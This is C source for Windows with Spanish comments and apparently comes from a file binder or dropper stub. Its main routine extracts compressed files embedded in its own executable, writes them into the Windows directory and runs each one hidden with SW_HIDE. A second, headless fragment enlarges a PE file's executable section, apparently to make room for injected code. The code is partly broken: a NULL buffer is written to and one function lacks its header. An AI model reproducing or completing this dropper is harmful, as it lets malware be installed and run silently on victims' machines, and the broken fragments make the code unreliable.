#pragma optimize("gsy", on)
#include <windows.h>
 
typedef DWORD (WINAPI *_RtlDecompressBuffer)(IN ULONG CompressionFormat,OUT PVOID DestinationBuffer,IN ULONG DestinationBufferLength,
	IN PVOID SourceBuffer,IN ULONG SourceBufferLength,OUT PULONG pDestinationSize );
 
typedef VOID (WINAPI *_CopyMemory)(PVOID Destination,CONST VOID *Source,SIZE_T Length);
 
DWORD dwBytes;
 
VOID SaveFileToDisk(LPSTR nFileName,LPSTR lpFileMaped,DWORD FileSize)
{
	HANDLE hSFTD=CreateFile(nFileName,GENERIC_READ+GENERIC_WRITE,0,0,CREATE_ALWAYS,0,0);
	WriteFile(hSFTD,lpFileMaped,FileSize,&dwBytes,0);
	CloseHandle(hSFTD);
}
 
LPSTR DecompressBuffer(LPSTR lpBuffer,DWORD szBuffer,LPDWORD dwSizeOut )
{
   _RtlDecompressBuffer miRtlDecompressBuffer;
 
   LPSTR szRet=(LPSTR)GlobalAlloc(GPTR,16*szBuffer);
 
   miRtlDecompressBuffer=(_RtlDecompressBuffer)GetProcAddress((HINSTANCE)LoadLibraryA("NTDLL.DLL"),"RtlDecompressBuffer");
 
   miRtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1,szRet,16*szBuffer,lpBuffer,szBuffer,dwSizeOut);
 
   return szRet;
}
 
void main()
{
	_CopyMemory miCopyMemory=NULL;
	miCopyMemory=(_CopyMemory)GetProcAddress(GetModuleHandle("KERNEL32.DLL"),"RtlMoveMemory");
 
	DWORD szSubFile;
	LPSTR ext=(LPSTR)GlobalAlloc(GPTR,3);
	DWORD Seek=0;
	LPSTR lpFile=NULL;
 
	LPSTR AppName=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
	GetModuleFileName(0,AppName,MAX_PATH);
 
	HANDLE hFile=CreateFile(AppName,GENERIC_READ,0,0,OPEN_EXISTING,0,0);
	DWORD szFile=GetFileSize(hFile,0);
	LPSTR FileBuffer=(LPSTR)GlobalAlloc(GPTR,szFile);
	ReadFile(hFile,FileBuffer,szFile,&dwBytes,0);
 
	DWORD StubSize=0x640;
 
	LPSTR WinPath=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
	GetWindowsDirectory(WinPath,MAX_PATH);
 
	DWORD NumArchivos;
	miCopyMemory(&NumArchivos,&FileBuffer[StubSize],4);
 
	Seek=4;
	for(DWORD i=0;i<NumArchivos;i++)
	{
		//Obtenemos el peso del archivo
		miCopyMemory(&szSubFile,&FileBuffer[StubSize+Seek],4);
 
		//Obtenemos la extensión
		miCopyMemory(&ext[0],&FileBuffer[StubSize+Seek+4],3);
 
		//Leemos el archivo
		lpFile=(LPSTR)GlobalAlloc(GPTR,szSubFile);
		miCopyMemory(&lpFile[0],&FileBuffer[StubSize+Seek+7],szSubFile);
 
		//Lo descomprimimos
		DWORD szDecompressedFile;
		LPSTR lpDecompressedFile=DecompressBuffer(lpFile,szSubFile,&szDecompressedFile);
 
		//Generamos la ruta
		LPSTR Path=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
		lstrcat(Path,WinPath);
		lstrcat(Path,"\\"); //" //Ta mal geshi ¬¬
		LPSTR fName=NULL;
		for(DWORD z=0;z<i+1;z++)
		{
			lstrcat(fName,"A");
		}
		lstrcat(Path,fName);
		lstrcat(Path,".");
		lstrcat(Path,ext);
 
		//Lo guardamos en WinPath
		SaveFileToDisk(Path,lpDecompressedFile,szDecompressedFile);
 
		LPSTR Archivo=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
		lstrcat(Archivo,"cmd /d /c \"");
		lstrcat(Archivo,WinPath);
		lstrcat(Archivo,"\\"); //" //Ta mal geshi ¬¬
		lstrcat(Archivo,fName);
		lstrcat(Archivo,".");
		lstrcat(Archivo,ext);
		lstrcat(Archivo,"\"");
 
		WinExec(Archivo,SW_HIDE);
 
		Seek=Seek+11+szSubFile;
 
	}
	CloseHandle(hFile);
}
 

	HANDLE hFile=CreateFile(nFileName,GENERIC_READ+GENERIC_WRITE,FILE_SHARE_WRITE+FILE_SHARE_READ,0,OPEN_EXISTING,0,0);
	if(hFile == INVALID_HANDLE_VALUE)
	{
		return NULL;
	}
 
	DWORD szFile=GetFileSize(hFile,0);
	if(szFile == INVALID_FILE_SIZE)
	{
		return NULL;
	}
 
	szFile=szFile+0x200;
 
	HANDLE hCFM=CreateFileMapping(hFile,0,PAGE_READWRITE,0,szFile,0);
	if(hCFM==NULL)
	{
		return NULL;
	}
 
	CloseHandle(hFile);
 
	LPSTR hMVOF=(LPSTR)malloc(szFile);
	hMVOF=(LPSTR)MapViewOfFile(hCFM,FILE_MAP_ALL_ACCESS,0,0,0);
	if(hMVOF==NULL)
	{
		return NULL;
	}
 
	CloseHandle(hCFM);
 
	PIMAGE_DOS_HEADER IDH;
	PIMAGE_NT_HEADERS INTH;
	PIMAGE_SECTION_HEADER ISH;
 
	IDH=(PIMAGE_DOS_HEADER)&hMVOF[0];
	INTH=(PIMAGE_NT_HEADERS)&hMVOF[IDH->e_lfanew];
 
	DWORD ExecutableSection=GetExecutableSection(hMVOF);
 
	ISH=(PIMAGE_SECTION_HEADER)&hMVOF[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*ExecutableSection];
 
	LPSTR Temp=(LPSTR)malloc(szFile-(ISH->PointerToRawData+ISH->SizeOfRawData+0x200));
	CopyMemory(&Temp[0],&hMVOF[ISH->PointerToRawData+ISH->SizeOfRawData],szFile-(ISH->PointerToRawData+ISH->SizeOfRawData+0x200));
 
	CopyMemory(&hMVOF[ISH->PointerToRawData+ISH->SizeOfRawData+0x200],&Temp[0],szFile-(ISH->PointerToRawData+ISH->SizeOfRawData+0x200));
 
	BYTE zero=0x00;
 
	for(DWORD i=0;i<0x200;i++)
	{
		CopyMemory(&hMVOF[ISH->PointerToRawData+ISH->SizeOfRawData+i],&zero,1);
	}
 
	ISH->SizeOfRawData=ISH->SizeOfRawData+0x200;
	ISH->Misc.VirtualSize=ISH->Misc.VirtualSize+0x200;
	//INTH->OptionalHeader.SizeOfImage=INTH->OptionalHeader.SizeOfImage+0x200;
 
	//PIMAGE_DATA_DIRECTORY IDD;
	//PIMAGE_OPTIONAL_HEADER IOH;
 
	//IOH=&INTH->OptionalHeader ;
	//IDD=IOH->DataDirectory;
	//IDD++; 
	//IDD->VirtualAddress=IDD->VirtualAddress+0x200;
 
	for(i=0;i<=INTH->FileHeader.NumberOfSections;i++)
	{
		ExecutableSection=GetExecutableSection(hMVOF);
		ISH=(PIMAGE_SECTION_HEADER)&hMVOF[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*(ExecutableSection+1+i)];
		ISH->PointerToRawData=ISH->PointerToRawData+0x200;
		//ISH->VirtualAddress=ISH->VirtualAddress+0x200;
	}
 
	return hMVOF;	
 
}